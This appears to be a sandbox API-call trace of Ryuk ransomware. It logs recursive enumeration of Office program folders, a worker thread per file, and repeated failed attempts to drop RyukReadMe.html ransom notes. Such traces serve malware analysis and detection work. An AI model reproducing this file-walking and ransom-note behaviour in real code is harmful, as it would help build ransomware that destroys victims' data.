	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1
	[0131.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0131.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0131.981] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1
	[0131.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1
	[0131.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1
	[0131.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1
	[0131.982] SetLastError (dwErrCode=0x0) 
	[0131.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.982] GetLastError () returned 0x5
	[0131.982] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.990] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.992] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0131.992] SetLastError (dwErrCode=0x0) 
	[0131.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.992] GetLastError () returned 0x5
	[0131.992] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0131.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0131.998] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.998] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0131.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0131.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0132.002] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.002] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0132.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0132.005] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.006] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0132.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0132.009] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.010] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0132.010] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0132.013] SetLastError (dwErrCode=0x0) 
	[0132.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.024] GetLastError () returned 0x5
	[0132.024] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.024] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0132.024] SetLastError (dwErrCode=0x0) 
	[0132.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.024] GetLastError () returned 0x5
	[0132.024] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0132.027] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0132.027] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0132.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0132.030] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.030] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0132.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0132.033] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.034] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0132.034] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0132.034] SetLastError (dwErrCode=0x0) 
	[0132.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.035] GetLastError () returned 0x5
	[0132.035] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.035] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0132.035] SetLastError (dwErrCode=0x0) 
	[0132.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.035] GetLastError () returned 0x5
	[0132.036] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0132.038] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0132.038] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0xbe, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0132.038] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0132.040] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.041] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0132.041] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0132.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0132.044] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.045] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0132.045] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0132.045] SetLastError (dwErrCode=0x0) 
	[0132.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.046] GetLastError () returned 0x5
	[0132.046] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.046] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0132.046] SetLastError (dwErrCode=0x0) 
	[0132.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.046] GetLastError () returned 0x5
	[0132.046] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0132.047] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
